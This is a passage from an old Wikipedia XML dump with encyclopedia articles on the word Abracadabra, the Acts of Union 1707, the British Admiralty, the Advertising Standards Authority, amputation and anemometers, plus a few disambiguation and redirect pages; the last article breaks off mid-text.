'''''Abracadabra''''' is a word used as an [[incantation]], considered by some to be the phrase that is pronounced most universally in other languages without translation.

The word is now commonly used as an [[incantation]] by [[stage magic|stage magicians]]. In ancient times, however, it was taken much more seriously as an incantation to be used as a cure against fevers and inflammations. The first known mention was in ''De Medicina Praecepta'' by [[Serenus Sammonicus]], [[physician]] to the [[Roman emperor]] [[Caracalla]], who prescribed that the sufferer from the disease wear an [[amulet]] containing the word written in the form of an inverted cone:

&lt;center&gt;
A B R A C A D A B R A&lt;br /&gt;
A B R A C A D A B R&lt;br /&gt;
A B R A C A D A B&lt;br /&gt;
A B R A C A D A&lt;br /&gt;
A B R A C A D&lt;br /&gt;
A B R A C A&lt;br /&gt;
A B R A C&lt;br /&gt;
A B R A&lt;br /&gt;
A B R&lt;br /&gt;
A B&lt;br /&gt;
A
&lt;/center&gt;

This, he explained, diminishes the hold of the spirit of the disease over the patient. Other [[Roman emperor]]s, including [[Publius Septimius Geta|Geta]] and [[Alexander Severus]], were followers of the medical teachings of Serenus Sammonicus and are likely to have used the incantation as well. 

==Etymology==
Theories about the source of the word are:-

===''&quot;I create as I speak&quot;''===
A possible source is [[Aramaic language|Aramaic]]: אברא כדברא ''avra kehdabra'' which means &quot;I will create as I speak&quot;.

===The curse and the pestilence===
There is the view that Abracadabra derives from the Hebrew, ''ha-brachah'', meaning &quot;the blessing&quot; (used in this sense as a euphemism for &quot;the curse&quot;) and ''dabra'', an [[Aramaic language|Aramaic]] form of the Hebrew word ''dever'', meaning &quot;pestilence.&quot; They point to a similar kabbalistic cure for blindness, in which the name of [[Shabriri]], the [[demon]] of blindness, is similarly diminished. Other scholars are skeptical of this origin and claim that the idea of diminishing the power of demons was common throughout the ancient world, and that Abracadabra was simply the name of one such demon.

===Father, Son, Holy Spirit===
Some point to the Hebrew words  ''av'' (&quot;father&quot;),  ''ben'' (&quot;son&quot;), and ''ruakh hakodesh'' (&quot;the holy spirit&quot;).

===Disappear like this word===
Some have argued that the term may come from the [[Aramaic language|Aramaic]] ''abhadda kedhabhra'', meaning 'disappear like this word'. Rather than being used as a curse, the Aramaic phrase is believed to have been used as a means of treating illness.

===Abraxas===
It has also been claimed that the word comes from [[Abraxas]], a [[Gnostic]] word for God (the source of [[365]] emanations, apparently the Greek letters for Abraxas add up to 365 when deciphered according to [[numerology|numerological methods]]). It has also been claimed to come from Abracalan (or Aracalan), said to have been both a [[Syria]]n god and a Jewish magical symbol.

==Thelema==
The religion of [[Thelema]] spells the word &quot;Abrahadabra&quot;, and considers it the magical formula of the current Aeon. The religion's founder, [[Aleister Crowley]], explains in his essay &lt;i&gt;Gematria&lt;/i&gt; that he discovered the word (and his spelling) by [[cabala|cabalistic]] methods. He appears to say that this happened before his January 1901 meeting with [[Oscar Eckenstein]], one of his teachers. (At this meeting, Eckenstein ordered him to abandon magick for the moment and practice meditation or concentration.) The Word Abrahadabra appears repeatedly in the 1904 invocation of [[Horus]] that led to the founding of [[Thelema]]. (&lt;i&gt;The Equinox&lt;/i&gt; I, no. 7. 1912) It also appears in a 1901 diary that Crowley published in &lt;i&gt;The Equinox&lt;/i&gt;.

The essay &lt;i&gt;Gematria&lt;/i&gt; gives Hindu, Christian, and &quot;Unsectarian&quot; versions of the problem that Crowley intended this magick word to answer. He also gives a [[cabala|qabalistic]] equivalent for each phrasing, and a brief symbolic answer for each. The unsectarian version reads, &quot;I am the finite square; I wish to be one with the infinite circle.&quot; Its equivalent refers to &quot;the Cross of Extension&quot; and &quot;the infinite Rose.&quot; Crowley's numerological explanation of ABRAHADABRA focuses mainly on this last formulation and the answer to it.

==Avada Kedavra in Harry Potter==
The &quot;Killing Curse&quot; in the ''[[Harry Potter]]'' stories may have been taken by [[J. K. Rowling]] from an Aramaic form &quot;avada kedavra&quot; or similar, which roughly means &quot;what I speak is destroyed,&quot; influenced by the [[Latin]] word ''cadaver'', meaning &quot;corpse&quot;. This form differs from the &quot;I create as I speak&quot; form (&quot;Avara Kedavra&quot;) by a single letter in the English transliteration; it is one of the few spells in ''Harry Potter'' not derived from Latin.

==See also==
*[[Hocus Pocus (magic)|Hocus Pocus]]
*[[presto]]  
*[[The Unforgivable Curses in the world of Harry Potter#Avada Kedavra (The Killing Curse)|Avada Kedavra]] (a [[Harry Potter]] reference.  Note, this article contains [[Wikipedia:Spoiler_warning|Spoilers]])
[[Category:Magic words]]
[[Category:Words]]

[[de:Abrakadabra]]
[[es:Abracadabra]]
[[fr:Abracadabra]]
[[it:Abracadabra]]
[[he:אברקדברה]]
[[nl:Abracadabra]]
[[pt:Abracadabra]]
[[ru:Абракадабра]]
[[sv:Abrakadabra]]</text>
    </revision>
  </page>
  <page>
    <title>Acts of Union 1707</title>
    <id>2987</id>
    <revision>
      <id>42139669</id>
      <timestamp>2006-03-04T02:06:29Z</timestamp>
      <contributor>
        <username>JSIN</username>
        <id>226893</id>
      </contributor>
      <comment>it's --&gt; its</comment>
      <text xml:space="preserve">{{UKFormation}}

The '''Acts of Union''' were twin Acts of Parliament passed in [[1707]] (taking effect on [[26 March]]) by the [[Parliament of England]] and the [[Parliament of Scotland]].  The acts were the implementation of the Treaty of Union, negotiated between the two kingdoms.  The effect of the Acts was twofold:

* to create a new state: the [[Kingdom of Great Britain]], although the name had been used on occasion since [[1603]] when speaking of the Kingdoms of [[Kingdom of England|England]] and [[Kingdom of Scotland|Scotland]] together, which had shared a monarch from that date but retained [[sovereignty | sovereign]] parliaments. [[Wales]] was also part of this Great Britain since it had been absorbed by England by the [[Laws in Wales Acts 1535-1542]].
* to dissolve both parliaments and replace them with a new [[Parliament of Great Britain]] (this event is known as the '''Union of the Parliaments'''). The new parliament was to be based in the former home of the English Parliament.

[[Image:ActsOfUnion1707-Painting.jpg|thumb|300px|right|Walter Thomas Monnington's 1925 painting called ''Parliamentary Union of England and Scotland 1707'' hangs in the Palace of Westminster depicting the official presentation of the law that formed the United Kingdom of Great Britain.]]

While there had been three earlier attempts (in [[1606]], [[1667]] and [[1689]]) to unite the two countries by Acts of Parliament, these were the first Acts which had the will of both political establishments behind them, albeit for rather different reasons. In the English case, the purpose was to establish the Royal succession along [[Protestant]] lines in the same manner as provided for by the English [[Act of Settlement 1701]] rather than that of the Scottish [[Act of Security]].  The two countries had shared a king for much of the previous century.  The English were now concerned that an independent Scotland with a different king, even if he were a Protestant, might make alliances against England.

In the Scottish case, the purpose was partly to use English subsidies to recover from the financial problems caused by the failure of the [[Darién scheme]] and partly to remove English trade sanctions put in place through the [[Alien Act]] to force the Scottish Parliament into compliance with the Act of Settlement.

The treaty consisted of 25 articles, 15 of which were economic in character. In Scotland, each article was voted on separately and several clauses in articles were delegated to specialised subcommittees. Article 1 of the treaty was based on the political principle of an incorporating union and this was secured by a majority of 115 votes to 83 on [[4 November]], [[1706]]. In order to minimalise the opposition of the [[Church of Scotland]], an act was also passed in order to secure the Presbyterian establishment of the Church after which the Church stopped its open opposition, although hostility remained at lower levels of the clergy. The treaty as a whole was finally ratified on [[16 January]], [[1707]] by a majority of 110 votes to 67.

The ultimate securing of the treaty in the [[Parliament of Scotland|Scottish Parliament]] can be attributed more to the weakness and lack of cohesion between the various opposition groups in the House as opposed to the strength of pro-incorporationists. The combined votes of the Court party with a majority of the Squadrone Volante were sufficient to ensure the final passage of the treaty through the House. Many members had invested heavily in the Darién Scheme and they believed that they would receive compensation for their losses; Article 14, the Eqivalent granted [[£]]398 085 10[[Shilling|s]] to Scotland to offset future liability towards the English national debt. In essence, it was also used a means of compensation for investors in Darién.

Bribery and financial persuasion were also prevalent. £20 000 (£240 000 [[Pound Scots|Scots]]) being despatched to Scotland for distribution by the Earl of Glasgow. James Douglas, 2nd Duke of Queensberry, the Queen's Commissioner in Parliament received £12 325 sterling, the majority of the funding. The bulk of this funding was used in the payment of [[Espionage|spies]] and agent provocateurs. 

The Acts of Union were far from universally popular in Scotland, particularly amongst the general population.  Many petitions were sent to the Scottish Parliament against union, and there were massive protests in [[Edinburgh]] and several other Scottish towns on the day it as threat of widespread civil unrest resulted in the imposition of martial law by the Parliament. [[George Lockhart|Sir George Lockhart of Carnwath]], a [[Jacobitism|Jacobite]] and the only member of the Scottish negotiating team who was not pro-incorporation, noted that `The whole nation appears against the Union'. [[John Clerk of Penicuik|Sir John Clerk of Penicuik]], an ardent pro-unionist and Union negotiator, observed that the treaty was `contrary to the inclinations of at least three-fourths of the Kingdom'. [[Daniel Defoe]] first reports were of vivid descriptions of violent demonstrations against the Union. ''&quot;A Scots rabble is the worst of its kind,&quot;'' he later reported ''&quot;for every Scot in favour there is 99 against&quot;''. Public opinion against the Treaty as it passed through the Scottish Parliament was voiced through petitions from the Scottish localities. Anti-union petitions were received from shires, burghs, presbyteries and parishes. The Convention of Royal Burghs also petitioned against the Union and not one petition in favour of an incorporating union was received by Parliament. 

The twin Acts incorporated provisions for Scotland to send [[Peers and Parliament|representative peer]]s from the [[Peerage of Scotland]] to sit in the [[House of Lords]]. It guaranteed that the [[Church of Scotland]] would remain the established church in Scotland, that the [[Court of Session]] would &quot;remain in all time coming within Scotland&quot; and that [[Scots law]] would &quot;remain in the same force as before&quot;.

Other provisions included the restatement of the [[Act of Settlement 1701]] and the ban on [[Roman Catholics]] from taking the throne. It also created a [[customs union]] and [[monetary union]]. Scotland kept its independence with respect to its legal (Article 19), religious and education systems.

The Act provided that any &quot;laws and statutes&quot; that were &quot;contrary to or inconsistent with the terms&quot; of the Act would &quot;cease and become void.&quot;

==See also==
{{wikisource}}
* [[Annexation]]
* [[Daniel Defoe]]
* [[Andrew Fletcher]]
* [[History of democracy]]
* [[Scottish Parliament]]
* [[Parliament of the United Kingdom]]
* [[Political union]]
* [[Scottish National Party]]
* [[Scottish Unionist Party]]

[[Category:British laws]]
[[Category:History of England]]
[[Category:History of Scotland]]
[[Category:History of Great Britain]]
[[Category:Scottish laws]]
[[Category:English laws]]
[[Category:1707 in law]]
[[Category:United Kingdom constitution]]
[[Category:Treaties]]


[[de:Act of Union 1707]]
[[fr:Acte d'Union (1707)]]
[[pt:Tratado de União de 1707]]
[[sv:Treaty of Union 1707]]</text>
    </revision>
  </page>
  <page>
    <title>Admiralty</title>
    <id>2988</id>
    <revision>
      <id>39804128</id>
      <timestamp>2006-02-15T23:51:22Z</timestamp>
      <contributor>
        <username>Merchbow</username>
        <id>802509</id>
      </contributor>
      <comment>Admiralty Arch was not the residence of the First Lord</comment>
      <text xml:space="preserve">{{Otherusesabout|a former military department of the United Kingdom}}
{{Royal Navy}}

The '''Admiralty''' was formerly the authority in the [[United Kingdom]] responsible for the command of the [[Royal Navy]]. Originally exercised by a single person, the office of '''Lord High Admiral''' was from the [[18th century]] invariably put &quot;in commission&quot;, and was exercised by a '''Board of Admiralty''', officially known as '''The Commissioners for Exercising the Office of Lord High Admiral of the United Kingdom of Great Britain and Northern Ireland, &amp;c.''' (alternatively of '''[[Kingdom of England|England]]''', '''[[Kingdom of Great Britain|Great Britain]]''' or the '''[[United Kingdom of Great Britain and Ireland]]''' depending on the period).

In [[1964]] the functions of the Admiralty were transferred to a new [[Admiralty Board]], which is a committee of the tri-service [[Defence Council of the United Kingdom]] and part of the [[Ministry of Defence (United Kingdom)|Ministry of Defence]]. The new Admiralty Board meets only twice a year, and the day-to-day running of the Royal Navy is controlled by a [[Navy Board]] (not to be confused with the historical Navy Board described later in this article). It is now uncommon for the various authorities now in charge of the Royal Navy to be referred to simply as &quot;The Admiralty.&quot;

The title of Lord High Admiral of the United Kingdom is now vested in the [[British monarch|Sovereign]]. However, there continues to be a [[Vice-Admiral of the United Kingdom]] and a [[Rear-Admiral of the United Kingdom]], both of which are honorary offices.

For information on the administration of the Royal Admiralty, with specific information regarding each of the separate officers and branches see: [[Admiralty administration]].

==History==
[[Image:Admiralty_Flag.gif|thumb|right|Flag of the Lord High Admiral or the Admiralty]]
The office of ''Admiral of England'', or ''Lord Admiral'' and later ''Lord High Admiral'' was created in around [[1400]]. In [[1546]] King [[Henry VIII of England|Henry VIII]] established the ''Council of the Marine'', later to became the ''Navy Board'', to oversee administrative affairs of the naval service. Operational control of the Navy remained the responsibility of the Lord High Admiral, who was one of the nine [[Great Officers of State]].

In [[1628]], [[Charles I of England|Charles I]] put the office of Lord High Admiral into commission and control of the Royal Navy passed to a committee in the form of the ''Board of the Admiralty''. The office of Lord High Admiral passed a number of times in and out of commission until [[1709]], after which the office was almost permanently in commission (the last Lord High Admiral being the future [[William IV of the United Kingdom|King William IV]] in the early [[19th century]]). .

The members of the Board of Admiralty were known as the '''Lords Commissioners of Admiralty'''. The Lords Commissioners were always a mixture of [[admirals]], known as Naval Lords or Sea Lords, and civilian lords, normally politicians. The president of the Board was known as the '''First Lord of the Admiralty''', who was a member of the [[Cabinet of the United Kingdom|Cabinet]].

After [[1806]], the First Lord of the Admiralty was always a civilian, while the professional head of the navy came to be (and is still today) known as the [[First Sea Lord]].

In [[1831]] the Navy Board was abolished as a separate entity and its duties and responsibilities were given over to the Board of Admiralty.

In [[1964]] the Admiralty was subsumed into the Ministry of Defence along with the [[War Office]] and the [[Air Ministry]]. Within the expanded Ministry of Defence are the new ''Admiralty Board'', ''Army Board'' and ''Air Force Board'', each headed by the [[Secretary of State for Defence]]. As mentioned above, there is also a Navy Board in charge of the day-to-day running of the Royal Navy.

==The buildings==
[[Image:The Admiralty (now the Ripley Buidling) by Thomas Hosmer Shepherd, 1830..jpg|thumb|250px|The Old Admiralty or Ripley Building.]]
[[Image:Admiralty 1794 Draughtsman; Chawner, Thomas.jpg|thumb|250px|The Admiralty in 1794. The different colours indicate different departments or residences for the several Lords of the Admiralty. The pale coloured extension behind the small courtyard on the left is Admiralty House.]]
The Admiralty complex lies between [[Whitehall]], [[Horse Guards Parade]] and [[The Mall (London)|The Mall]] and includes five buildings. As the Admiralty no longer exists as a department, these are now used as an &quot;office bank&quot; by the government:
*The oldest building was long known simply as The Admiralty, and is now referred to popularly as the '''Old Admiralty''' and officially as the '''Ripley Building'''. It was designed and built by [[Thomas Ripley (architect)|Thomas Ripley]], a former carpenter and protegé of Sir [[Robert Walpole]], whose creation provoked the scorn of [[Alexander Pope]]:
:''See under Ripley rise a new [[Banqueting House at Whitehall|White-hall]]'',
:''While [[Inigo Jones|Jones']] and [[Richard Boyle, 3rd Earl of Burlington|Boyle's]] united labours fall''.
:::&amp;mdash; ''The Dunciad'' (1743), book III, ii, 327-8

It is a three storey u-shaped brick building, and completed in 1726. As Pope implied the architecture is rather dull, lacking either the vigour of the [[baroque]] style which was fading from fashion at the time, or the austere grandeur of the [[Palladian]] style which was just coming into vogue. It is mainly notable for being perhaps the first purpose built office building in Great Britain. It contained a board room, other state rooms and offices and apartments for the Lords of the Admiralty. [[Robert Adam]] designed the screen which was added to the entrance front in 1788. Nowadays the Ripley Building is allocated to the [[Cabinet Office]] and contains government function rooms.

*'''[[Admiralty House (London)|Admiralty House]]''': This is a moderately proportioned mansion to the south of the Ripley Building, which was built in the late 18th century as the residence of the First Lord of the Admiralty, and served that purpose until 1964. [[Winston Churchill]] was one of its occupants. It lacks its own entrance from Whitehall, and is entered through the Ripley Building. It is a three storey building in yellow brick with [[neo-classical]] interiors. Its rear facade faces directly onto Horse Guards Parade. The architect was [[Samuel Pepys Cockerell]]. There are now three ministerial flats in the building [http://www.parliament.uk/commons/lib/research/notes/snpc-03367.pdf].
[[Image:Old_admiralty.jpg|thumb|right|250px|The Admiralty Extension dates from the turn of the 20th century]]
*The '''Admiralty Extension'''. This is the largest of the Admiralty Buildings. It was begun in the late 19th century and redesigned while the construction was in progress to accommodate the extra offices needed due to the naval arms race with the [[German Empire]]. It is red brick building with white stone detailing in the [[Queen Anne]] style with French influences.
*'''[[Admiralty Arch]]''' is linked to the Admiralty extension by a bridge. In architectural terms it is part of the ceremonial route from Trafalgar Square to [[Buckingham Palace]]. It contains further offices. 
*The '''Admiralty Citadel''' is a squat windowless [[World War II]] fortress at the north east corner of Horse Guards Parade. See [[Military citadels under London]] for further details.

==Reference==
*London 6: Westminster (from the Buildings of England series) by [[Nikolaus Pevsner]] and Simon Bradley (2003). [[Yale University Press]] ISBN 0300095953.   

==See also==
{{Commonscat}}
* [[List of Lord High Admirals and First Lords of the Admiralty]]
* [[List of Lords Commissioners of the Admiralty]]
* [[First Sea Lord]]
* [[Second Sea Lord]]
* [[Third Sea Lord]]
* [[Lord High Admiral of Scotland]]
* [[Admiralty administration]]
* [[List of British politicians by wealth at death]]

[[Category:Royal Navy]]
[[Category:Royal Navy admirals|*]]
[[Category:Lords of the Admiralty|*]]

[[fr:Amirauté (britannique)]]
[[pl:Admiralicja]]
[[sv:Amiralitet]]</text>
    </revision>
  </page>
  <page>
    <title>Advertising Standards Authority</title>
    <id>2989</id>
    <revision>
      <id>41598564</id>
      <timestamp>2006-02-28T11:49:22Z</timestamp>
      <contributor>
        <ip>82.111.23.153</ip>
      </contributor>
      <comment>/* Noteworthy rulings */</comment>
      <text xml:space="preserve">[[Image:ASA (logo).gif|right|Advertising Standards Authority logo]]
The '''Advertising Standards Authority''' (ASA) is an independent [[United Kingdom|British]] regulatory body set up by the [[advertising]] industry to monitor advertisements in print and broadcast media. The central tenets of its [[Advertising Code]] are that adverts must be &quot;legal, decent, honest, and truthful&quot;.

As it is not a government body, it has no statutory authority. However, as its rulings are poor publicity for advertisers in breach of the Code, it is usually able to enforce correct observance in Britain. It can also refer some forms of breach - for instance, where breach persists despite warnings, consumer safety is an issue, or there is evidence of [[fraud]] - to the government [[Office of Fair Trading]], which does have legal powers to invoke [[consumer protection]] laws.

== Noteworthy rulings ==

* [[Apple Computer]]'s claims superior performance were judged unacceptable
* [[Microsoft]]'s &quot;[[Get the facts]]&quot; campaign was [[bias]]ed
* [[Intel]]'s [[Centrino]] advertisements were deceptive
1

==See also==

* [[Advertising regulation]]
* [[Ofcom]] - the British telecommunications and broadcasting regulator
* [[Press Complaints Commission]]

==External links==

* [http://www.asa.org.uk ASA official site]

{{UK-org-stub}}
[[Category:Advertising]]
[[Category:Media of the United Kingdom]]</text>
    </revision>
  </page>
  <page>
    <title>Airdrie</title>
    <id>2990</id>
    <revision>
      <id>28210195</id>
      <timestamp>2005-11-13T14:24:54Z</timestamp>
      <contributor>
        <username>Punkmorten</username>
        <id>114828</id>
      </contributor>
      <minor />
      <comment>geodis</comment>
      <text xml:space="preserve">'''Airdrie''' can refer to:
* [[Airdrie, Scotland]]
* [[Airdrie, Alberta]]

{{geodis}}

[[pt:Airdrie]]</text>
    </revision>
  </page>
  <page>
    <title>Amphibian (disambiguation)</title>
    <id>2991</id>
    <revision>
      <id>34730268</id>
      <timestamp>2006-01-11T08:17:42Z</timestamp>
      <contributor>
        <username>NTBot</username>
        <id>274552</id>
      </contributor>
      <minor />
      <comment>robot  Adding: pt</comment>
      <text xml:space="preserve">'''Amphibian''' may refer to:

* a [[vertebrate]] [[animal]] of the class '''[[Amphibia]]''';
* the [[superhero]] '''[[Amphibian_(comics)|Amphibian]]'''
* [[Amphibious vehicle|Amphibian vehicles]]
* [[Amphibian aircraft]]

{{disambig}}

[[hr:Amfibija]]
[[pt:Anfíbio (desambiguação)]]</text>
    </revision>
  </page>
  <page>
    <title>Amputation</title>
    <id>2992</id>
    <revision>
      <id>41995330</id>
      <timestamp>2006-03-03T02:44:24Z</timestamp>
      <contributor>
        <username>DannyBoy7783</username>
        <id>436648</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Amputee.jpg|200px|right|thumb|Partial hand amputation]]

'''Amputation''' is the removal of a body extremity by [[Physical trauma|trauma]] or [[surgery]]. As a surgical measure, it is used to control pain or a disease process in the affected limb, such as [[cancer|malignancy]] or [[gangrene]].  In some cases, it is carried out on individuals as a preventative surgery for such problems.  In [[Islam|Islamic]] countries, amputation of the hands or feet is sometimes used as a form of [[punishment]] for criminals.

==Types==
[[Image:Three-legged-dog 7th day past amputation.jpg|thumb|right|100px|dog on seventh day past amputation]]
[[Image:Three-legged-dog_sheila_32nd_day2.jpg|thumb|right|100px|dog on 32nd day past amputation]]
[[Image:Three-legged-dog_sheila1.jpg|thumb|right|100px|dog three months past amputation]]
Types of amputation include:
* [[leg]]
** amputation of digits
** partial foot amputation (Chopart, Lisfranc)
** ankle disarticulation (Syme, Pyrogoff)
** below-knee amputation (transtibial)
** knee-bearing amputation (knee disarticulation)
** above knee amputation (transfemoral)
** Van-ness rotation (Foot being turned around and reattached to allow the ankle joint to be used as a knee.)
** hip disarticulation
** [[hemipelvectomy]]
* [[arm]]
** amputation of digits
** metacarpal amputation
** wrist disarticulation
** forearm amputation (transradial)
** elbow disarticulation
** above-elbow amputation (transhumeral)
** shoulder disarticulation and forequarter amputation

[[Hemicorporectomy]], or amputation at the waist, is the most radical amputation. 

[[Genital modification and mutilation]] may involve amputating tissue, although not necessarily as a result of injury or disease.

As a rule, partial amputations are preferred to preserve joint function, but in oncological surgery, disarticulation is favored.

==Method==
[[Image:Curvy amputation knife DSC09451.jpg|thumb|200px|Curved knives such as this one were used, in the past, for some kinds of amputations.]]
The first step is ligating the supplying [[artery]] and [[vein]], to prevent [[hemorrhage]]. The muscles are transsected, and finally the [[bone]] is sawed through with an oscillating saw. Skin and muscle flaps are then transposed over the [[stump]], occasionally with the insertion of elements to attach a [[prosthesis]].  In a disarticulation amputation, the bone is removed at the joint.

==Complications==
Some amputees experience the phenomenon of [[phantom limb]]s; they feel body parts that are no longer there. These limbs can itch, ache, and feel as if they are moving. Some scientists believe it has to do with a kind of neural map that the brain has of the body, which sends information to the rest of the brain about limbs regardless of their existence.

In many cases, the phantom limb aids in adaptation to a prosthesis, as it permits the person to experience [[proprioception]] of the prosthetic limb.

==Self-amputation==
In some rare cases when a person has become trapped (on account of getting a limb stuck) in a deserted place, with no means of communication or hope of rescue, the victim has amputated his own limb:
* In 2003, 27-year old [[Aron Ralston]] amputated his [[forearm]] using his [[pocketknife]] and breaking and tearing the two [[bone]]s, after the arm got stuck under a boulder when hiking in [[Utah]].
* Also in 2003, an Australian coal miner amputated his own arm with a [[Stanley knife]] after it became trapped when the [[front-end loader]] he was driving overturned three kilometers underground. [http://www.smh.com.au/articles/2003/06/29/1056825279321.html]

==See also==
* [[Tourniquet]]
* [[Apotemnophilia]] - condition where a person desires amputation of a healthy limb
* [[Amputee fetishism]]
* [[List of amputees]]
* [[Autotomy]]

==External links==
*[http://www.nationalamputation.org/ National Amputation Foundation]
*[http://aait.fscope.com/index.html Amputee Association of India Trust]
*[http://www.sonofthesouth.net/leefoundation/amputation.htm Amputation] from Cooper's 1835 &quot;Practice of Surgery&quot;

[[Category:Types of surgery]]
[[Category:Surgical removal procedures| ]]

[[de:Amputation]]
[[fr:Amputation]]
[[nl:Amputatie]]
[[pt:Amputação]]
[[fi:Amputaatio]]
[[sv:Amputation]]</text>
    </revision>
  </page>
  <page>
    <title>Amputees</title>
    <id>2993</id>
    <revision>
      <id>15901369</id>
      <timestamp>2002-04-19T01:32:38Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <comment>changing an orphan stub into a redirect; I don't see the need for two separate articles here.</comment>
      <text xml:space="preserve">#REDIRECT [[amputation]]
</text>
    </revision>
  </page>
  <page>
    <title>Anemometer</title>
    <id>2994</id>
    <revision>
      <id>40765888</id>
      <timestamp>2006-02-22T21:55:38Z</timestamp>
      <contributor>
        <username>Pflatau</username>
        <id>822782</id>
      </contributor>
      <minor />
      <comment>removed main category kept subcat</comment>
      <text xml:space="preserve">[[Image:Deconism-anemometer.jpg|thumb|300px|right|Anemometer installation on roof of Deconism Gallery, using three size 6, schedule 40 pipes in their original uncut 20 foot (6 m) lengths.  The wire (4 conductors running inside a shield) runs along the rightmost leg of the 3 legged &quot;tripod&quot; mount that's attached to the rigging that runs around the perimeter of the roof.]]

An '''anemometer''' is a device for measuring the [[wind speed|velocity]] or the [[pressure]] of the [[wind]], and is one instrument used in a [[weather station]]. The term is derived from the Greek word &quot;anemos&quot; meaning wind.

Anemometers may be divided into two classes, (1) those that measure the [[velocity]], (2) those that measure the [[pressure]] of the wind, but inasmuch as there is a close connection between the pressure and the velocity, a suitable anemometer of either class will give information about both these quantities.

The First anemometer was invented by Leon Battista Alberti in the 1400's.

==Velocity anemometers==
Velocity anemometers may again be subdivided into two classes, (1) those which do not require a [[wind vane]] or [[weathercock]], (2) those which do. 

===Cup anemometers===
The familiar cup-anemometer, invented ([[1846]]) by Dr. [[John Thomas Romney Robinson]], of [[Armagh Observatory]], is the best-known and most generally used instrument, and belongs to the first of these. It consists of four hemispherical cups, mounted one on each end of a pair of horizontal arms, which lie at right angles to each other and form a cross. A vertical axis round which the cups turn passes through the centre of the cross; a train of wheel-work counts up the number of turns which this axis makes, and from the number of turns made in any given time the velocity of the wind during that time is calculated. The cups are placed symmetrically on the end of the arms, so it is easy to see that the wind always has the hollow of one cup presented to it; the back of the cup on the opposite end of the cross also faces the wind, but the pressure on it is naturally less, and hence a continual rotation is produced; each cup in turn as it comes round providing the necessary force. The two great merits of this anemometer are its simplicity and the absence of a wind vane; on the other hand it is not well adapted to leaving a record on paper of the actual velocity at any definite instant, and hence it leaves a short but violent gust unrecorded. Unfortunately, when Dr. Robinson first designed his anemometer, he stated that no matter what the size of the cups or the length of the arms, the cups always moved with one-third of the velocity of the wind. This result was apparently confirmed by some independent experiments, but it is very far from the truth, for it is now known that the actual ratio, or factor as it is commonly called, of the velocity of the wind to that of the cups depends very largely on the dimensions of the cups and arms, and may have almost any value between two and a little over three. The result has been that wind velocities published in many official publications have often been in error by nearly 50%.

=== Windmill anemometers ===
[[Image:Wind speed and direction instrument - NOAA.jpg|right|200px|thumb|An aerovane]]
The other forms of velocity anemometer may be described as belonging to the [[windmill]] type. In the Robinson anemometer the axis of rotation is vertical, but with this subdivision the axis of rotation must be parallel to the direction of the wind and therefore horizontal. Furthermore, since the wind varies in direction and the axis has to follow its changes, a [[weather vane|wind vane]] or some other contrivance to fulfill the same purpose must be employed. An [[aerovane]] combines a propeller and a tail on the same axis to obtain accurate and precise wind speed and direction measurements from the same instrument. In cases where the direction of the air motion is always the same, as in the ventilating shafts of mines and buildings for instance, wind vanes, known as air meters are employed, and give most satisfactory results.

==Pressure anemometers==
Anemometers which measure the pressure may be divided into the plate and tube classes, but the former term must be taken as including a good many miscellaneous forms. 

===Plate anemometers===
The simplest type of this form consists of a flat plate, which is usually square or circular, while a wind vane keeps this exposed normally to the wind, and the pressure of the wind on its face is balanced by a spring. The distortion of the spring determines the actual force which the wind is exerting on the plate, and this is either read off on a suitable gauge, or leaves a record in the ordinary way by means of a pen writing on a sheet of paper moved by clockwork. Instruments of this kind have been in use for a long series of years, and have recorded pressures up to and even exceeding 60 lbf/ft&amp;sup2; (2.9 kPa), but it is now fairly certain that these high values are erroneous, and due, not to the wind, but to faulty design of the anemometer.

The fact is that the wind is continually varying in force, and while the ordinary pressure plate is admirably adapted for measuring the force of a steady and uniform wind, it is entirely unsuitable for following the rapid fluctuations of the natural wind. To make matters worse, the pen which records the motion of the plate is often connected with it by an extensive system of chains and levers. A violent gust strikes the plate, which is driven back and carried by its own momentum far past the position in which a steady wind of the same force would place it; by the time the motion has reached the pen it has been greatly exaggerated by the springiness of the connection, and not only is the plate itself driven too far back, but also its position is wrongly recorded by the pen; the combined errors act the same way, and more than double the real maximum pressure may be indicated on the chart.

A modification of the ordinary pressure-plate has recently been designed. In this arrangement a catch is provided so that the plate being once driven back by the wind cannot return until released by hand; but the catch does not prevent the plate being driven back farther by a gust stronger than the last one that moved it. Examples of these plates are erected on the west coast of England, where in the winter fierce gales often occur; a pressure of 30 lbf/ft&amp;sup2; (1.5 kPa) has not been shown by them, and instances exceeding 20 lbf/ft&amp;sup2; (1 kPa) are extremely rare.

Many other modifications have been used and suggested. Probably a sphere would prove most useful for a pressure anemometer, since owing to its symmetrical shape it would not require a weathercock. A small light sphere hanging from the end of 30 or 40 ft (about 10 m) of fine sewing cotton has been employed to measure the wind velocity passing over a kite, the tension of the cotton being recorded, and this plan has given satisfactory results.

===Tube anemometers===

[[Image:Anemometers.png|thumb|Anemometers]]

Lind's anemometer, which consists simply of a U tube containing liquid with one end bent into a horizontal direction to face the wind, is perhaps the original form from which the tube class of instrument has sprung. If the wind blows into the mouth of a tube it causes an increase of pressure inside and also of course an equal increase in all closed vessels with which the mouth is in airtight communication. If it blows horizontally over the open end of a vertical tube it causes a decrease of pressure, but this fact is not of any practical use in anemometry, because the magnitude of the decrease depends on the wind striking the tube exactly at right angles to its axis, the most trifling departure from the true direction causing great variations in the magnitude. The pressure tube anemometer (fig. 1) utilizes the increased pressure in the open mouth of a straight tube facing the wind, and the decrease of pressure caused inside when the wind blows over a ring of small holes drilled through the metal of a vertical tube which is closed at the upper end. The pressure differences on which the action depends are very small, and special means are required to register them, but in the ordinary form of recording anemometer (fig. 2), any wind capable of turning the vane which keeps the mouth of the tube facing the wind is capable of registration.

The great advantage of the tube anemometer lies in the fact that the exposed part can be mounted on a high pole, and requires no oiling or attention for years; and the registering part can be placed in any convenient position, no matter how far from the external part. Two connecting tubes are required. It might appear at first sight as though one connection would serve, but the differences in pressure on which these instruments depend are so minute, that the pressure of the air in the room where the recording part is placed has to be considered. Thus if the instrument depends on the pressure or suction effect alone, and this pressure or suction is measured against the air pressure in an ordinary room, in which the doors and windows are carefully closed and a newspaper is then burnt up the chimney, an effect may be produced equal to a wind of 10 mi/h (16 km/h); and the opening of a window in rough weather, or the opening of a door, may entirely alter the registration.

==Notes on wind measurements==
